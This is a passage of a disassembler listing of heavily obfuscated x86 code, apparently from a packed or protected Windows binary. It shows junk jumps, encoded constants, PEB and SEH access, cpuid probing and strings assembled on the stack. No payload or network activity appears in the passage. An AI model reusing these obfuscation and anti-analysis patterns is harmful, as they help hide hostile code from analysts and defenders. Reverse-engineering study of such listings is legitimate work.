; START	OF FUNCTION CHUNK FOR sub_4266B1


loc_425C9C:				; CODE XREF: sub_4266B1:loc_4259AEj
					; sub_4266B1+4BE1j
		call	sub_424585
		mov	edx, 0F75CA70h
		call	sub_429165
		push	eax
		rol	eax, 14h
		jmp	loc_42FD66
; END OF FUNCTION CHUNK	FOR sub_4266B1
; ---------------------------------------------------------------------------
		mov	edx, 20413B0Fh
		push	ebx
		push	8D363E9Bh
		pop	ebx
		add	ebx, 730C0911h
		xchg	ebx, [esp]
		jmp	sub_429165
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4240DC


loc_425CCE:				; CODE XREF: sub_4240DC:loc_428106j
		add	edx, 4942BCA2h
		add	eax, edx
		pop	edx
		push	eax
		call	sub_426456
		jmp	loc_42C2CD
; END OF FUNCTION CHUNK	FOR sub_4240DC

; =============== S U B	R O U T	I N E =======================================



sub_425CE2	proc near		; DATA XREF: sub_425CE2+5D5Bo

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0042778D SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429263 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0042948B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00429868 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042BA3A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042C878 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042CA26 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042D6E3 SIZE 0000000C BYTES

		cdq
		jno	loc_429868
		add	eax, [esp+0]
		adc	edx, [esp+arg_0]
		call	sub_4260A9
sub_425CE2	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_4266B1


loc_425CF5:				; CODE XREF: sub_4266B1+3FA2j
		jmp	loc_428F32
; END OF FUNCTION CHUNK	FOR sub_4266B1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E5B2


loc_425CFA:				; CODE XREF: sub_42E5B2-99BEj
		jmp	sub_42E5B2
; END OF FUNCTION CHUNK	FOR sub_42E5B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42506F


loc_425CFF:				; CODE XREF: sub_42506F+7510j
		jz	loc_427ACE
		jmp	loc_42EB2A
; END OF FUNCTION CHUNK	FOR sub_42506F

; =============== S U B	R O U T	I N E =======================================



sub_425D0A	proc near		; DATA XREF: sub_42D9B0:loc_429628o
		mov	eax, [ebp-8]
		pop	ecx
		pop	ecx


loc_425D0F:				; CODE XREF: sub_42FFBA-6EA5j
		pop	ebp
		retn
sub_425D0A	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B35E


loc_425D11:				; CODE XREF: sub_42B35E+303Dj
		jmp	loc_42A007
; END OF FUNCTION CHUNK	FOR sub_42B35E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D9B0


loc_425D16:				; CODE XREF: sub_42D9B0:loc_42961Fj
		mov	eax, [ebp+8]
		jmp	loc_42F4C2
; END OF FUNCTION CHUNK	FOR sub_42D9B0
; ---------------------------------------------------------------------------


loc_425D1E:				; CODE XREF: wto1jq8f:0042FDEEj
		pop	edi
		and	edi, 2CAE1696h
		xor	edi, 0CE292AEh
		push	offset sub_42B909
		jmp	loc_42B57F
; ---------------------------------------------------------------------------


loc_425D35:				; DATA XREF: sub_425C5F+14o
		xchg	edi, [esp]
		mov	edx, edi
		pop	edi
		cmp	dword ptr [ebp-8], 0
		jz	loc_424183
		jmp	loc_42B60A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4260DB


loc_425D4A:				; CODE XREF: sub_4260DB:loc_42D98Dj
		mov	dword ptr [eax], 6C43776Fh
		push	0F167B38Ah
		pop	eax
		and	eax, 691F9306h
		jmp	loc_426DE5
; END OF FUNCTION CHUNK	FOR sub_4260DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F614


loc_425D61:				; CODE XREF: sub_42F614-3AC1j
		jz	nullsub_113


loc_425D67:				; CODE XREF: sub_42F614:loc_427FC2j
		mov	eax, [ebp-4]
		call	sub_428183


loc_425D6F:				; CODE XREF: wto1jq8f:0042E954j
		jmp	nullsub_216
; END OF FUNCTION CHUNK	FOR sub_42F614
; ---------------------------------------------------------------------------
		jmp	loc_42D73B
; ---------------------------------------------------------------------------


loc_425D79:				; CODE XREF: wto1jq8f:004291C9j
		xor	edx, edx
		push	offset sub_429816
		jmp	loc_424FDD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EFB5


loc_425D85:				; CODE XREF: sub_42EFB5-5810j
		jns	loc_428A4E


loc_425D8B:				; CODE XREF: wto1jq8f:loc_4261D2j
		push	edx
		push	5DCD6CAAh
		pop	edx
		add	edx, 0A2757410h
		jmp	loc_42B83B
; END OF FUNCTION CHUNK	FOR sub_42EFB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42760F


loc_425D9D:				; CODE XREF: sub_42760F+68D9j
		mov	[ebp-4], eax
		cmp	dword ptr [ebp-4], 0
		push	offset loc_424B2B
		jmp	nullsub_113
; END OF FUNCTION CHUNK	FOR sub_42760F
; ---------------------------------------------------------------------------
		pushf
		jmp	sub_428BF4
; ---------------------------------------------------------------------------
		test	al, al
		jz	loc_42E1F6
		jmp	loc_42EE2D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B31F


loc_425DC1:				; CODE XREF: sub_42B31F+10j
		add	edx, 72FEA6E2h
		call	loc_426EA9
; END OF FUNCTION CHUNK	FOR sub_42B31F
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_150. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
		mov	[ebx], ecx
		jmp	loc_427140
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AAC3


loc_425DD4:				; CODE XREF: sub_42AAC3+6j
		push	3680FD5h
		pop	eax
		add	eax, 0FCDAE0C3h
		mov	eax, [eax]
		or	eax, eax
		jnz	loc_426447
		jmp	loc_42AC4A
; END OF FUNCTION CHUNK	FOR sub_42AAC3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_55. PRESS	KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_425DF0	proc near		; CODE XREF: sub_425E35:loc_42EEE7p

; FUNCTION CHUNK AT 0042478A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00427851 SIZE 0000000D BYTES

		mov	eax, large fs:0


loc_425DF7:				; CODE XREF: sub_425DF0+15j
					; wto1jq8f:00428CB0j
		js	loc_427851
		cmp	dword ptr [eax], 0FFFFFFFFh
		mov	ebx, [eax+4]
		mov	eax, [eax]
		jnz	loc_425DF7
		jmp	loc_42478A
sub_425DF0	endp

; ---------------------------------------------------------------------------


loc_425E10:				; CODE XREF: wto1jq8f:loc_424B3Dj
		xor	eax, 0A6362327h
		jmp	loc_42CD43
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F2C7


loc_425E1B:				; CODE XREF: sub_42F2C7-9786j
					; wto1jq8f:loc_42E629j
		cmp	ebx, 69727943h
		jnz	loc_4248DF
		jmp	loc_429254
; END OF FUNCTION CHUNK	FOR sub_42F2C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F9AC


loc_425E2C:				; CODE XREF: sub_42F9AC+11j
		pop	edx
		pop	ecx
		pop	ebx
		retn
; END OF FUNCTION CHUNK	FOR sub_42F9AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426806


loc_425E30:				; CODE XREF: sub_426806+1195j
		jmp	loc_4296C0
; END OF FUNCTION CHUNK	FOR sub_426806

; =============== S U B	R O U T	I N E =======================================



sub_425E35	proc near		; CODE XREF: sub_429E77+2p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0042647D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00428244 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00429B0D SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00429C4A SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042AEFA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E0A8 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042E69B SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042EEE7 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0042F46F SIZE 00000022 BYTES

		push	large dword ptr	fs:0
		mov	large fs:0, esp
		jmp	loc_42AEFA
sub_425E35	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		test	al, al
		jz	loc_42E993
; START	OF FUNCTION CHUNK FOR sub_42EDB9


loc_425E50:				; CODE XREF: sub_42EDB9-4A3Ej
		jmp	loc_42F355
; END OF FUNCTION CHUNK	FOR sub_42EDB9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C486


loc_425E55:				; CODE XREF: sub_42C486:loc_42E435j
		jz	loc_428361
		jmp	loc_427D7D
; END OF FUNCTION CHUNK	FOR sub_42C486
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A6CD


loc_425E60:				; CODE XREF: sub_42EDB9:loc_4282E6j
					; sub_42A6CD+2144j ...
		jno	loc_42E79E
		push	0F5D6BA5Ah
		pop	eax
		sub	eax, 9A0BFC06h
		xor	eax, ds:4000F1h
		add	eax, 506193D3h
		jmp	loc_42746B
; END OF FUNCTION CHUNK	FOR sub_42A6CD
; ---------------------------------------------------------------------------
		or	edi, eax
		jmp	loc_4278BB
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_207. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F185


loc_425E8B:				; CODE XREF: sub_42F185+Fj
		jmp	loc_42AF78
; END OF FUNCTION CHUNK	FOR sub_42F185
; ---------------------------------------------------------------------------
		cmp	edi, 1A961432h
		jmp	loc_42F82A
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	loc_4279D2
		jmp	loc_42B722

; =============== S U B	R O U T	I N E =======================================



sub_425EA8	proc near		; CODE XREF: wto1jq8f:0042D4BCj
					; sub_426144+97C2p

; FUNCTION CHUNK AT 004296F6 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042A04F SIZE 00000015 BYTES
; FUNCTION CHUNK AT 0042F35B SIZE 00000005 BYTES

		xchg	eax, [esp+0]
		pop	eax
		add	esp, 4
		call	sub_428310


loc_425EB4:				; CODE XREF: sub_429459-2A16j
		jmp	loc_42A04F
sub_425EA8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425EB9	proc near		; DATA XREF: wto1jq8f:0042B617o
		push	eax
		mov	eax, [ebp-30h]
sub_425EB9	endp ; sp-analysis failed

; START	OF FUNCTION CHUNK FOR sub_425A9E


loc_425EBD:				; CODE XREF: sub_425A9E:loc_427CD3j
		call	sub_42E676
; END OF FUNCTION CHUNK	FOR sub_425A9E
; START	OF FUNCTION CHUNK FOR sub_42E676


loc_425EC2:				; CODE XREF: sub_42E676-4674j
		jmp	sub_42CA3D
; END OF FUNCTION CHUNK	FOR sub_42E676
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_425EC7:				; CODE XREF: sub_42E9E8:loc_428802j
		jz	loc_426BCD
		jmp	loc_429898
; END OF FUNCTION CHUNK	FOR sub_42E9E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A14D


loc_425ED2:				; CODE XREF: sub_42A14D-46C6j
					; sub_42A14D:loc_42A9C9j
		mov	eax, 400h
		call	sub_4243D7
		mov	[ebp-8], eax
		push	offset loc_42B60F
		jmp	nullsub_44
; END OF FUNCTION CHUNK	FOR sub_42A14D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42660F


loc_425EE9:				; CODE XREF: sub_42660F:loc_42D5E9j
		jo	loc_4264C0
		mov	ebp, esp
		call	sub_427A9E
		mov	eax, ds:dword_42A73C
		call	sub_42D765
		mov	esp, ebp
		pop	ebp
		push	ds:dword_42A73C
		jmp	nullsub_84
; END OF FUNCTION CHUNK	FOR sub_42660F
; ---------------------------------------------------------------------------
		xor	ebp, esi
		jmp	sub_42C786
; ---------------------------------------------------------------------------
		push	eax
		push	eax
		call	sub_42A5C4
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_425F1C:				; CODE XREF: sub_426E98+F9j
		jmp	loc_42B9A8
; END OF FUNCTION CHUNK	FOR sub_426E98
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429BFF


loc_425F21:				; CODE XREF: sub_429BFF-2E4Ej
		jmp	loc_42D2A2
; END OF FUNCTION CHUNK	FOR sub_429BFF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426FD6


loc_425F26:				; CODE XREF: sub_426FD6+27B7j
		cpuid
		add	[esi], eax
		xor	[esi], ebx
		add	[esi], ecx
		xor	[esi], edx
		mov	eax, 80000004h
		jmp	loc_42EDF6
; END OF FUNCTION CHUNK	FOR sub_426FD6
; ---------------------------------------------------------------------------


loc_425F3A:				; CODE XREF: wto1jq8f:0042C8CCj
		cmp	ebp, eax
		jmp	loc_42DA0B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4262F5


loc_425F41:				; CODE XREF: sub_4262F5+86D4j
		add	edx, 258AD326h
		xchg	edx, [esp-8+arg_4]
		jmp	loc_42B314
; END OF FUNCTION CHUNK	FOR sub_4262F5

; =============== S U B	R O U T	I N E =======================================



sub_425F4F	proc near		; CODE XREF: sub_42A4A5+7p
					; sub_42628C+6ECAj

; FUNCTION CHUNK AT 004273AF SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00428E9C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00429638 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429F0A SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042AE44 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0042CF4B SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E2D4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042E744 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042EAC0 SIZE 00000017 BYTES

		xchg	eax, [esp+0]


loc_425F52:				; CODE XREF: wto1jq8f:0042ACBEj
		pop	eax
		mov	eax, ds:dword_42D5E0
		or	eax, eax
		jmp	loc_42CF4B
sub_425F4F	endp ; sp-analysis failed

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_170. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_427143


loc_425F61:				; CODE XREF: wto1jq8f:loc_4261C7j
					; wto1jq8f:0042A6C8j ...
		call	sub_424585
		mov	edx, 9E849D81h
		call	sub_429165
		push	eax
		rol	eax, 19h
		jmp	loc_42B964
; END OF FUNCTION CHUNK	FOR sub_427143
; ---------------------------------------------------------------------------


loc_425F79:				; DATA XREF: sub_42B5C9+6o
		pop	ebx
		mov	[edx], eax
		pop	edx
		mov	dword ptr [ebp-0Ch], 1
; START	OF FUNCTION CHUNK FOR sub_4282FE


loc_425F84:				; CODE XREF: sub_42B840+Aj
					; sub_4282FE:loc_42D520j
		lea	eax, [ebp-14h]
		jmp	loc_426FAE
; END OF FUNCTION CHUNK	FOR sub_4282FE
; ---------------------------------------------------------------------------


loc_425F8C:				; CODE XREF: wto1jq8f:0042C8D9j
		add	eax, edi
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_425F8E:				; CODE XREF: sub_42E9E8-5B7Fj
		add	al, ah
		and	eax, 7
		mov	[ebp-4], eax


loc_425F96:				; CODE XREF: sub_42E9E8-8D94j
					; wto1jq8f:0042A8B5j
		jo	loc_42C3A8
		push	offset loc_4293F0
		jmp	loc_42BBBE
; END OF FUNCTION CHUNK	FOR sub_42E9E8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426719


loc_425FA6:				; CODE XREF: sub_426719:loc_42F37Ej
		mov	eax, [ebp-10h]
		jmp	loc_42B97A
; END OF FUNCTION CHUNK	FOR sub_426719
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F2C7


loc_425FAE:				; CODE XREF: sub_42F2C7-46B4j
		or	[ecx+edx], al
		mov	eax, [ebp-0Ch]
		call	sub_428A19


loc_425FB9:				; CODE XREF: sub_42D4FD+2B09j
		jmp	loc_426821
; END OF FUNCTION CHUNK	FOR sub_42F2C7
; ---------------------------------------------------------------------------


loc_425FBE:				; CODE XREF: wto1jq8f:loc_42F207j
		mov	edx, [ebx+ecx]
; START	OF FUNCTION CHUNK FOR sub_42DCB4


loc_425FC1:				; CODE XREF: sub_42DCB4:loc_42FC5Ej
		xor	edx, [ebx+ecx+4]
		cmp	edx, 7C61090Eh
		jz	loc_429526


loc_425FD1:				; CODE XREF: sub_42DCB4-6969j
					; wto1jq8f:loc_42BA47j	...
		js	loc_42950C
		or	eax, eax
		jmp	loc_428F11
; END OF FUNCTION CHUNK	FOR sub_42DCB4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4272F3


loc_425FDE:				; CODE XREF: sub_4272F3:loc_42AF73j
		mov	eax, [eax+68h]
		test	eax, 70h
		jz	loc_424CA9
		jmp	loc_4299B2
; END OF FUNCTION CHUNK	FOR sub_4272F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4284EC


loc_425FF1:				; CODE XREF: sub_4284EC+7A33j
		push	2E285DE2h
		sbb	edx, 341D7FCCh
		sbb	esi, 2D048CCCh


loc_426002:				; CODE XREF: wto1jq8f:loc_42832Dj
					; sub_4284EC:loc_42A18Cj
		call	sub_424585
		jmp	loc_42ACCA
; END OF FUNCTION CHUNK	FOR sub_4284EC
; ---------------------------------------------------------------------------

locret_42600C:				; CODE XREF: wto1jq8f:loc_424FDDj
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E9E8


loc_42600D:				; CODE XREF: sub_42E9E8-1AEDj
		jmp	sub_42BEF6
; END OF FUNCTION CHUNK	FOR sub_42E9E8
; ---------------------------------------------------------------------------


loc_426012:				; DATA XREF: sub_4293C8+7o
		push	ecx
		mov	eax, esp
		push	0
		mov	edx, esp
		jmp	loc_42635E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CF6A


loc_42601E:				; CODE XREF: sub_42CF6A-8E30j
		xor	edi, ebp


loc_426020:				; CODE XREF: wto1jq8f:loc_42E217j
		push	offset loc_42C5E7
		jmp	loc_428403
; END OF FUNCTION CHUNK	FOR sub_42CF6A
; ---------------------------------------------------------------------------


loc_42602A:				; CODE XREF: wto1jq8f:0042CD57j
		jz	loc_4269B2
; START	OF FUNCTION CHUNK FOR sub_42AEDD


loc_426030:				; CODE XREF: sub_42AEDD+4CFDj
		jmp	loc_42D0A2
; END OF FUNCTION CHUNK	FOR sub_42AEDD
; ---------------------------------------------------------------------------


loc_426035:				; CODE XREF: wto1jq8f:0042744Bj
		jmp	loc_4248DF
; ---------------------------------------------------------------------------
		sub	eax, esi
		cdq
		pushf
		jmp	loc_4269AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CB63


loc_426043:				; CODE XREF: sub_42CB63:loc_42F8F0j
		pop	ecx
		mov	[ebp-20h], eax
		jmp	loc_42C1CB
; END OF FUNCTION CHUNK	FOR sub_42CB63

; =============== S U B	R O U T	I N E =======================================



sub_42604C	proc near		; CODE XREF: sub_42CB63-82A1p

; FUNCTION CHUNK AT 00429DF4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042C10F SIZE 0000001A BYTES
; FUNCTION CHUNK AT 0042CE4E SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0042DA75 SIZE 00000005 BYTES

		push	ebp
		call	sub_427218


loc_426052:				; CODE XREF: sub_426968+4E83j
		jmp	loc_42C10F
sub_42604C	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F614


loc_426057:				; CODE XREF: sub_42F614+Ej
		mov	eax, [ebp-8]
		push	eax
		call	sub_429642
		cmp	eax, 0FFFFFFFFh
		jmp	loc_42F048
; END OF FUNCTION CHUNK	FOR sub_42F614
; ---------------------------------------------------------------------------


loc_426068:				; CODE XREF: wto1jq8f:00426114j
		mov	edx, 0D33C6E0Ch

; =============== S U B	R O U T	I N E =======================================



sub_42606D	proc near		; CODE XREF: sub_42D1A8-B4Dp

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 004243F6 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042444C SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00425A40 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 00428D3C SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00429561 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429599 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0042B507 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CC45 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042E8FD SIZE 00000013 BYTES

		mov	[esp+0], edi
		pop	edi
		adc	edx, [esp-4+arg_4]
		add	esp, 8
		mov	[ebp-4], eax
		push	0EBE66D80h
		pop	eax
		jmp	loc_425A40
sub_42606D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_426086	proc near		; CODE XREF: sub_42826A+6B6Dp
					; wto1jq8f:0042FF2Aj
		xchg	edi, [esp+0]
		pop	edi
		add	eax, 7A0357DCh
		push	offset loc_424A23
		jmp	nullsub_235
sub_426086	endp


; =============== S U B	R O U T	I N E =======================================



sub_42609A	proc near		; CODE XREF: sub_42F304j
					; DATA XREF: sub_429BFF+56F0o

; FUNCTION CHUNK AT 00428933 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E863 SIZE 00000012 BYTES

		mov	eax, [ebp-8]
		push	edx
		push	0D88E3D38h
		pop	edx
		jmp	loc_428933
sub_42609A	endp


; =============== S U B	R O U T	I N E =======================================



sub_4260A9	proc near		; CODE XREF: sub_425CE2+Ep
					; sub_42750A+B1Fj

; FUNCTION CHUNK AT 00428688 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429861 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00429C79 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EC9D SIZE 00000017 BYTES

		xchg	eax, [esp+0]
		pop	eax
		add	esp, 8
		mov	eax, [eax]
		add	eax, [ebp-4]
		call	sub_42FC85
		jmp	loc_429C79
sub_4260A9	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429471


loc_4260BF:				; CODE XREF: sub_429471+2EFCj
		jnp	loc_424958


loc_4260C5:				; CODE XREF: sub_429471:loc_42CD28j
		push	75500D9Dh
		add	[esp+4+var_4], 8AAFF263h
		push	offset loc_42B089
		jmp	loc_429612
; END OF FUNCTION CHUNK	FOR sub_429471

; =============== S U B	R O U T	I N E =======================================



sub_4260DB	proc near		; DATA XREF: sub_42A59B+3o

; FUNCTION CHUNK AT 00425D4A SIZE 00000017 BYTES
; FUNCTION CHUNK AT 00426C8A SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00426DE5 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004284C9 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 004288B6 SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0042B8BB SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0042C238 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 0042D54B SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042D98D SIZE 00000005 BYTES

		add	esp, 0FFFFFD38h
		push	7D85B001h
		pop	eax
		or	eax, 46E51604h
		jnz	loc_42B8BB


loc_4260F3:				; CODE XREF: sub_42A197-383Aj
					; sub_42AA68+4D7Fj ...
		jno	loc_426C8A
		lea	eax, [ebp-20h]
		mov	dword ptr [eax], 70736957h
		lea	eax, [ebp-1Ch]
		mov	dword ptr [eax], 646E6957h
		lea	eax, [ebp-18h]
		jmp	loc_42D98D
sub_4260DB	endp

; ---------------------------------------------------------------------------
		cdq
		jmp	loc_426068
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A617


loc_426119:				; CODE XREF: sub_42A617-429Aj
		setz	al
		jmp	loc_42F221
; END OF FUNCTION CHUNK	FOR sub_42A617
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426968


loc_426121:				; CODE XREF: sub_426968:loc_4275E2j
		mov	eax, [ebp+8]
		call	sub_42FBFD


loc_426129:				; CODE XREF: sub_429642+1j
		jmp	loc_424FD1
; END OF FUNCTION CHUNK	FOR sub_426968
; ---------------------------------------------------------------------------


loc_42612E:				; CODE XREF: wto1jq8f:00427713j
		jmp	locret_42A2AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42669E


loc_426133:				; CODE XREF: sub_42669E+8207j
		js	loc_427886
		xor	ebp, 6EC8B4EEh
		jmp	loc_426706
; END OF FUNCTION CHUNK	FOR sub_42669E

; =============== S U B	R O U T	I N E =======================================



sub_426144	proc near		; CODE XREF: sub_42C486:loc_4240CDp
					; wto1jq8f:00427AF4j ...

arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00424294 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042431F SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00424370 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00424B98 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00424CE8 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 004277B4 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00428323 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00428361 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00429454 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00429690 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042C1D6 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042CB08 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042D0F2 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042D989 SIZE 00000004 BYTES
; FUNCTION CHUNK AT 0042DDCC SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042DF9C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E2EB SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F2B8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F680 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042F876 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042F8FF SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0042FD3D SIZE 00000005 BYTES

		mov	[esp+0], ebx
		pop	ebx
		mov	eax, large fs:30h
		add	eax, 20h
		mov	eax, [eax]
		jmp	loc_42DDCC
sub_426144	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4283CC


loc_426159:				; CODE XREF: sub_4283CC:loc_42C97Dj
		jnz	loc_42F104
		jmp	loc_42D60D
; END OF FUNCTION CHUNK	FOR sub_4283CC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429BD3


loc_426164:				; CODE XREF: sub_429BD3+56B8j
		mov	eax, edx
; END OF FUNCTION CHUNK	FOR sub_429BD3

; =============== S U B	R O U T	I N E =======================================



sub_426166	proc near		; CODE XREF: sub_424DA0+6p

; FUNCTION CHUNK AT 0042BEAE SIZE 00000005 BYTES

		xchg	ebx, [esp+0]
		pop	ebx
		mov	eax, ds:dword_42CAE0
		push	offset loc_42DA7A
		jmp	loc_42BEAE
sub_426166	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425944


loc_42617A:				; CODE XREF: sub_425944:loc_42E882j
		jle	loc_4245A1
		mov	eax, [ebp-4]
		xor	edx, edx
		call	sub_42F135
; END OF FUNCTION CHUNK	FOR sub_425944

; =============== S U B	R O U T	I N E =======================================



sub_42618A	proc near		; CODE XREF: wto1jq8f:0042593Fj
					; wto1jq8f:loc_42A9A1p
		xchg	esi, [esp+0]
		pop	esi
		push	edi
		push	7A4D9B05h
		pop	edi
		or	edi, 5AB9FECDh
		add	edi, 8544AD17h
		jmp	loc_428FBC
sub_42618A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429D2E


loc_4261A6:				; CODE XREF: sub_429D2E+1F88j
		add	eax, 90C05E38h
		push	0BE36BFAAh


loc_4261B1:				; CODE XREF: sub_429D2E:loc_42EAB5j
		mov	eax, 100h
		push	edx
		jmp	loc_429CD2
; END OF FUNCTION CHUNK	FOR sub_429D2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_426E98


loc_4261BC:				; CODE XREF: sub_426E98:loc_42E5DCj
		push	ecx
		push	offset sub_42D753
		jmp	loc_42EA2C
; END OF FUNCTION CHUNK	FOR sub_426E98
; ---------------------------------------------------------------------------


loc_4261C7:				; CODE XREF: wto1jq8f:loc_4281D8j
		jz	loc_425F61
		jmp	loc_42A6B1
; ---------------------------------------------------------------------------


loc_4261D2:				; CODE XREF: wto1jq8f:loc_42B146j
		jz	loc_425D8B
		jmp	loc_426A4F
; ---------------------------------------------------------------------------
		mov	edx, 0BE8CE1B7h
